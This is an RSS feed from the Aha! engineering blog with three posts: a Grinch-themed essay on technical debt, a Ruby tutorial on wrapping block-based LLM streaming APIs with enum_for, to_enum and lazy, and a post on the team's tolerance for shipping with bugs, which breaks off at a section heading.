<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Aha! Engineering Blog]]></title><description><![CDATA[A collection of technical posts written by the Aha! engineering team.]]></description><link>https://www.aha.io/engineering</link><image><url>https://www.aha.io/aha_square_300.png</url><title>Aha! Engineering Blog</title><link>https://www.aha.io/engineering</link></image><generator>GatsbyJS</generator><lastBuildDate>Thu, 26 Dec 2024 01:14:49 GMT</lastBuildDate><atom:link href="https://www.aha.io/engineering/rss.xml" rel="self" type="application/rss+xml"/><item><title><![CDATA[The grinch was right]]></title><description><![CDATA[In the classic holiday story, the Grinch is often seen as the villain, a character who initially stands against the joy and celebration of…]]></description><link>https://www.aha.io/engineering/articles//2030-12-25-the-grinch-was-right</link><guid isPermaLink="true">https://www.aha.io/engineering/articles//2030-12-25-the-grinch-was-right</guid><dc:creator><![CDATA[Chris Zempel]]></dc:creator><pubDate>Wed, 25 Dec 2030 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the classic holiday story, the Grinch is often seen as the villain, a character who initially stands against the joy and celebration of the Whoville community. However, when we look closer, the Grinch presents an interesting parallel to a concept familiar to many in the engineering world: managing technical debt. Just as the Grinch initially resists the holiday spirit, engineering teams often resist tackling technical debt, which can accumulate silently and impact the health of a project.&lt;/p&gt;
&lt;h4&gt;The Accumulation of Technical Debt: A Silent Crisis&lt;/h4&gt;
&lt;p&gt;Technical debt, much like the Grinch&apos;s disdain for Christmas, often starts small. It&apos;s the shortcuts we take to meet a deadline, the legacy code we leave untouched, the &quot;temporary&quot; fixes that become permanent. Over time, this debt builds up, creating a larger, more intimidating problem. It lurks beneath the surface, often unnoticed until it becomes too big to ignore.&lt;/p&gt;
&lt;h4&gt;Recognizing the Grinch Within&lt;/h4&gt;
&lt;p&gt;The first step in managing technical debt is recognizing its existence. Like the Grinch peering down from his cave, we must look at our projects with a critical eye. This means conducting regular code reviews, soliciting feedback, and being honest about the state of our codebase. It&apos;s about acknowledging that while technical debt is a normal part of development, it needs to be managed and addressed.&lt;/p&gt;
&lt;h4&gt;The Transformation: Tackling Technical Debt&lt;/h4&gt;
&lt;p&gt;The heart of the Grinch grew three sizes when he understood the true spirit of Christmas. Similarly, the heart of our project grows healthier as we tackle technical debt. This doesn&apos;t mean a complete overhaul in one go – that&apos;s unrealistic. Instead, we can start small:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Refactoring: Gradually improve code quality without altering external behavior.
Documentation: Ensure that existing code is well-documented for future maintainers.
Automated Testing: Implementing robust testing can prevent future debt.
Continuous Integration/Continuous Deployment (CI/CD): Streamline and automate your deployment process to catch issues early.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Embracing the Lessons of the Grinch&lt;/p&gt;
&lt;p&gt;The Grinch taught us that change, though difficult, is possible and often necessary. Embracing our inner Grinch means accepting that tackling technical debt is not just a technical challenge, but a cultural one. It requires a shift in mindset from the entire team to prioritize long-term health over short-term gains.&lt;/p&gt;
&lt;h4&gt;Conclusion: A Happier, Healthier Codebase&lt;/h4&gt;
&lt;p&gt;Just as the Grinch found joy in joining the Whoville community, engineering teams can find satisfaction in addressing technical debt. By doing so, we not only improve our codebase but also enhance our team&apos;s morale and productivity. The Grinch was right in more ways than one – sometimes, it takes a change of heart to truly see the beauty in what we&apos;re building.&lt;/p&gt;
&lt;p&gt;Let&apos;s not shy away from our inner Grinch. Instead, let&apos;s learn from him and use those lessons to manage our technical debt effectively, ensuring the long-term success and health of our projects.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Make streaming APIs easy with enumerable methods]]></title><description><![CDATA[When you first discover Ruby on Rails, some things might strike you right away: namely the large number of enumerable methods and the blocks…]]></description><link>https://www.aha.io/engineering/articles/making-streaming-apis-easy</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/making-streaming-apis-easy</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Fri, 20 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;When you first discover Ruby on Rails, some things might strike you right away: namely the large number of &lt;a href=&quot;https://docs.ruby-lang.org/en/master/Enumerable.html&quot;&gt;enumerable methods&lt;/a&gt; and the blocks to run code in the middle of another method. Those features helped me translate my thoughts directly into code — and quickly made &lt;a href=&quot;https://www.aha.io/engineering/articles/upgrading-rails&quot;&gt;Ruby&lt;/a&gt; my favorite programming language.&lt;/p&gt;
&lt;p&gt;Enumerables are great. You can use them to map, filter, reduce, and easily transform your data. Any method that returns an enumerable collection gives you that power without needing much work.&lt;/p&gt;
&lt;p&gt;A method that yields values to a block can do more powerful things, but makes transformation harder. Any processing you want to do goes into the block, which doesn&apos;t feel as natural as chaining enumerable methods together. You have to think inside out (or even thread a block through multiple methods) before you get to the code that uses it.&lt;/p&gt;
&lt;h2&gt;An LLM example&lt;/h2&gt;
&lt;p&gt;Many large language model APIs, like the &lt;a href=&quot;https://platform.openai.com/docs/api-reference/chat&quot;&gt;OpenAI chat API&lt;/a&gt;, can stream text back to you as it&apos;s generated. This is nice! You don&apos;t have to wait multiple seconds (or longer!) for a full response — you get feedback immediately. In most Ruby clients to these APIs, bits of text are yielded back to you one by one using a block.&lt;/p&gt;
&lt;p&gt;To share a simple example, maybe you want to wrap each token in some metadata about the request that the front end can use:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;llm_response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |text|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;request_id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:llm_request_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;text:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; text }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  send_response_to_frontend(response)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But why does wrapping the response have to be done in the same place as sending the response? If &lt;code&gt;llm_response&lt;/code&gt; just returned a list, you could have some code that did the wrapping with &lt;code&gt;map&lt;/code&gt; and some other code that sent the response bit by bit. Why does this have to be different?&lt;/p&gt;
&lt;p&gt;If you want to treat these values as a list, using Ruby means it&apos;s flexible. You should be able to do that! And Ruby has a few extremely useful methods that easily convert a block-type method to a list-type method.&lt;/p&gt;
&lt;p&gt;The first is &lt;code&gt;enum_for&lt;/code&gt;. If I have a method that takes a block and yields values as they arrive:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; llm_response&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(prompt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  api.call_model(prompt) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |message|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    yield&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; message &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Send the message back to the caller&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The caller can use &lt;code&gt;Object#enum_for&lt;/code&gt; to translate it into something resembling a list instead:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; llm_response&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(prompt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  api.enum_for(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:call_model&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, prompt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From &lt;a href=&quot;https://docs.ruby-lang.org/en/master/Object.html#method-i-enum_for&quot;&gt;the documentation&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Creates a new &lt;code&gt;Enumerator&lt;/code&gt; which will enumerate by calling &lt;code&gt;method&lt;/code&gt; on &lt;code&gt;obj&lt;/code&gt;, passing &lt;code&gt;args&lt;/code&gt; if any. What was yielded by method becomes values of enumerator.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In this example, it creates an enumerator. That enumerator will get each value by calling &lt;code&gt;api.call_model(prompt)&lt;/code&gt;. Every value yielded by &lt;code&gt;call_model&lt;/code&gt; will become the enumerator&apos;s values. If the model yields &lt;code&gt;[&quot;He&quot;, &quot;l&quot;, &quot;lo&quot;]&lt;/code&gt;, those will be the enumerator&apos;s values, the values &lt;code&gt;each&lt;/code&gt; sees, and so on.&lt;/p&gt;
&lt;p&gt;You can now pass it to anything that expects an enumerator, and it will work just like a list of values:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; llm_response(prompt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# later...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process_response(response)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# or&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response.map { ... }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# etc...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Why not make it automatic?&lt;/h2&gt;
&lt;p&gt;There&apos;s a trick you can use to make things even easier for your callers. You might see it if you poke around the &lt;a href=&quot;https://github.com/ruby/ruby/blob/master/ext/pathname/lib/pathname.rb#L266&quot;&gt;Ruby standard library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you have a method that takes a block but could act like a list, you could add this as the first line:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; to_enum(__method__, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;first arg&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;second arg&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;etc...&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;unless&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; block_given?&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will still allow callers to pass a block if they want. If they don&apos;t pass a block, it will return an enum (like in the second example above). This makes the difference between a block-type method and a list-type method almost nonexistent.&lt;/p&gt;
&lt;p&gt;How does this work? &lt;code&gt;to_enum&lt;/code&gt; is just another name for &lt;code&gt;enum_for&lt;/code&gt;. And &lt;code&gt;__method__&lt;/code&gt; returns a symbol that contains the current method&apos;s name:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; llm_response&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(prompt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; to_enum(__method__, prompt) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;unless&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; block_given?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  api.call_model(prompt) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |message|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    yield&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; message &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Send the message back to the caller&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; llm_response(...) { ... }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this example, if you don&apos;t pass a block, it&apos;s as if you wrote this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; to_enum(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:llm_response&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, prompt)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And any time you ask &lt;code&gt;response&lt;/code&gt; for a new value, it will return the next value yielded by &lt;code&gt;llm_response&lt;/code&gt;. &lt;code&gt;response&lt;/code&gt; now acts like a list whose values are each item &lt;code&gt;llm_response&lt;/code&gt; would have yielded to a block.&lt;/p&gt;
&lt;h2&gt;Using lazy to avoid the wait&lt;/h2&gt;
&lt;p&gt;Once you start to work with those list elements, you might find a problem. If you call something like &lt;code&gt;map&lt;/code&gt; on one of these:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response.map { |m| process_message(m) }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You still have to wait until the entire response is done before you can do anything else, as the &lt;code&gt;map&lt;/code&gt; needs each element from the response. If you have to wait until the full response, there&apos;s no benefit in having a streaming API! So we&apos;ve hit a dead end and have to go back to using a block, right? Not quite.&lt;/p&gt;
&lt;p&gt;Ruby has a method, &lt;a href=&quot;https://docs.ruby-lang.org/en/master/Enumerable.html#method-i-lazy&quot;&gt;Enumerator#lazy&lt;/a&gt;, that you can add to your enumerable. With lazy, values will process one by one as needed instead of all at the same time. You can continue to chain transformations onto these responses as if it were an array, and you can pull values off it only when you actually use them.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response.lazy.map { |m| process_message(m) }.each { |m| send_message(m) }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, you can rewrite the original example so it doesn&apos;t matter whether &lt;code&gt;llm_response&lt;/code&gt; returns a list or yields to a block. The same code works:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; llm_response(prompt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# later...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; response.lazy.map { |text| { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;request_id:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:llm_request_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;text:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; text } }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# even later...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response.each { |chunk| send_response_to_frontend(chunk) }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Give enumerable methods a try&lt;/h2&gt;
&lt;p&gt;Enumerable methods provide such a powerful way to process and transform your data in &lt;a href=&quot;https://www.aha.io/engineering/articles/debugging-ruby-the-hard-way&quot;&gt;Ruby&lt;/a&gt; — but you can&apos;t always get an enumerable when you want one.&lt;/p&gt;
&lt;p&gt;If you find yourself passing blocks through several layers of methods, having to think inside out, or wanting consistent code (whether your data is streamed over time or returned all at once), try &lt;code&gt;enum_for&lt;/code&gt; or &lt;code&gt;to_enum&lt;/code&gt;. It could make your APIs cleaner and your programming life easier.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Want to give enumerable methods a shot with us? Here are some &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;open roles&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[We love bugs (and you should, too!)]]></title><description><![CDATA[OK, maybe "love" is a bit strong. But the Aha! engineering team has a shocking confession: We embrace bugs in our software. Our CTO, Dr…]]></description><link>https://www.aha.io/engineering/articles/we-love-bugs</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/we-love-bugs</guid><dc:creator><![CDATA[Justin Paulson]]></dc:creator><pubDate>Thu, 14 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;OK, maybe &quot;love&quot; is a bit strong. But the Aha! engineering team has a shocking confession: We embrace bugs in our software. Our CTO, &lt;a href=&quot;https://www.aha.io/company/history&quot;&gt;Dr. Chris Waters&lt;/a&gt;, often says, &quot;If your feature ships without any bugs, you waited too long to ship it.&quot;&lt;/p&gt;
&lt;p&gt;Having worked at software organizations of all sizes, many engineers on our team find this approach refreshingly unique. We don&apos;t view bugs as productivity-killing backlog items. Instead, we see them as a natural byproduct of focusing on what truly matters: delivering value quickly.&lt;/p&gt;
&lt;p&gt;Although we certainly don&apos;t want our customers to experience bugs, we recognize them as opportunities. Each support escalation becomes another chance to interact with our users, understand their needs, and ultimately, deliver a lovable &lt;a href=&quot;https://www.aha.io/roadmapping/guide/product-strategy/complete-product-experience&quot;&gt;Complete Product Experience&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now, you might be wondering how we manage to maintain this seemingly counterintuitive approach while still keeping our customers happy. We&apos;ll dive into more reasoning behind our bug-welcoming culture next. But we&apos;ll also explore the unconventional strategies that make our bug-handling process not just effective, but transformative for our product and user relationships.&lt;/p&gt;
&lt;h2&gt;What is a bug?&lt;/h2&gt;
&lt;p&gt;Our approach to shipping code might sound bold, so it&apos;s important to clarify what we mean by &quot;bugs.&quot; We strictly adhere to ISO 27001 security standards and enforce rigorous processes around &lt;a href=&quot;https://www.aha.io/legal/security&quot;&gt;data integrity and customer security&lt;/a&gt;. Any code change that compromises customer data security wouldn&apos;t simply be a bug. It would be classified as an incident, triggering a specific response protocol in turn. Our structured security review process thoroughly assesses each code change to ensure customer data remains safe and confidential every time we deploy. Security concerns are always handled proactively before the code is merged into the main application.&lt;/p&gt;
&lt;p&gt;With this in mind, the bugs we&apos;re discussing here are related to functionality gaps stemming from undefined expectations within feature-rich environments. Our product&apos;s customization capabilities allow for diverse use cases. And even though we plan for and test the most common scenarios, there might be rare, complex cases we didn&apos;t anticipate during development. These cases might produce unexpected results, which we classify as bugs. Fortunately, exceptions are rare thanks to extensive testing and planning, and even less-common paths generally perform as expected.&lt;/p&gt;
&lt;h2&gt;The audacious claims&lt;/h2&gt;
&lt;p&gt;At first glance, our approach to bugs and product releases might sound unconventional, and maybe even a little reckless. But each of these strategies is intentional — grounded in our commitment to deliver quickly, address actual user needs, and improve constantly. Here are a few of our guiding principles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We promote rapid releases and encourage the fastest possible delivery.&lt;/li&gt;
&lt;li&gt;We focus on delivering 99% of the value rather than chasing the final 1%.&lt;/li&gt;
&lt;li&gt;We see support escalations as prime opportunities for meaningful user engagement.&lt;/li&gt;
&lt;li&gt;We keep a lean bug backlog (currently just 17).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These practices might seem counterintuitive, but stick with us. We&apos;ll show you how this approach has not only been effective for our development process, but has also strengthened our &lt;a href=&quot;https://www.aha.io/blog/how-well-do-you-really-know-your-customers&quot;&gt;relationships with customers&lt;/a&gt; and &lt;a href=&quot;https://www.aha.io/blog/who-cares-what-they-think-of-your-product-plans&quot;&gt;improved the product&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Embracing imperfection&lt;/h2&gt;
&lt;p&gt;First, we don&apos;t aim for perfection. We aim for progress. Bugs will inevitably occur when dozens of engineers create complex solutions. As you work to create perfect solutions to every possible scenario in your code, the value of the task diminishes. The time it takes to reach that perfection adds to the time your customers have to wait for the functionality. Moreover, accounting upfront for every unlikely, but theoretically possible bug scenario compounds complexity across the board. The trade-offs of longer CI pipelines, increasingly complex test setups, and manual QA requirements slow us down, taking time away from direct value creation.&lt;/p&gt;
&lt;p&gt;Instead, we&apos;re pragmatic: If you wait until your software is bug-free, you&apos;ve waited too long. By focusing on getting functional changes out to the majority of our users quickly, we ensure that we&apos;re constantly improving and evolving our product.&lt;/p&gt;
&lt;h2&gt;The 99/1 rule&lt;/h2&gt;
&lt;p&gt;At Aha!, we&apos;ve embraced what we call the &quot;99/1 rule&quot; in our development process. This principle isn&apos;t about ignoring the minority — it&apos;s about maximizing impact and efficiency. We prioritize features and fixes that benefit 99% of our users over edge cases that might affect only 1%.&lt;/p&gt;
&lt;p&gt;Our approach is straightforward: We focus on the primary benefit of each feature and strive to deliver that value as quickly as possible. Once we&apos;ve achieved the core functionality, we address our known use cases. However, we consciously steer clear of deep dives into hypothetical &quot;what-if&quot; scenarios about how a user might interact with a feature. These speculative discussions often lead to diminishing returns and delayed releases.&lt;/p&gt;
&lt;p&gt;But what about that 1% we&apos;ve set aside? Rest assured that we don&apos;t ignore them. Instead, we address their needs as they arise through our responsive support system. Our approach allows us to understand the real-world impact of these edge cases and prioritize fixes based on actual &lt;a href=&quot;https://www.aha.io/engineering/articles/3-steps-to-an-engaging-new-user-experience-for-developers&quot;&gt;user experiences&lt;/a&gt; rather than hypothetical scenarios. Plus, getting feedback about bugs validates that the features we built are used and appreciated despite their imperfections.&lt;/p&gt;
&lt;p&gt;By adhering to the 99/1 rule, we maintain our agility, keep our &lt;a href=&quot;https://www.aha.io/engineering/articles/how-we-work&quot;&gt;development cycles&lt;/a&gt; short, and ensure our product evolves continuously to meet the needs of our user base as a whole. It&apos;s a crucial element of our strategy to deliver maximum value in minimum time. This allows us to stay responsive to our users&apos; most pressing needs while continuously improving our product.&lt;/p&gt;
&lt;h2&gt;Responsive support&lt;/h2&gt;
&lt;p&gt;A system like ours requires exceptionally responsive support to meet customer needs. This is where our secret weapon comes into play: our lightning-fast response to users&apos; issues. We&apos;ve implemented a &lt;a href=&quot;https://www.aha.io/engineering/articles/engineers-support&quot;&gt;support rotation&lt;/a&gt; that all our engineers take part in. When a customer reports an issue, we are able to take action immediately. There&apos;s no waiting, no lengthy backlog — just swift, decisive action to resolve the problem (and fix the bug if one exists). &lt;a href=&quot;https://www.aha.io/engineering/articles/trm-for-engineers&quot;&gt;The Responsive Method&lt;/a&gt; is central to our engineering culture, shaping how we support both our customers and one another.&lt;/p&gt;
&lt;h2&gt;User interaction: Turning bugs into bonding&lt;/h2&gt;
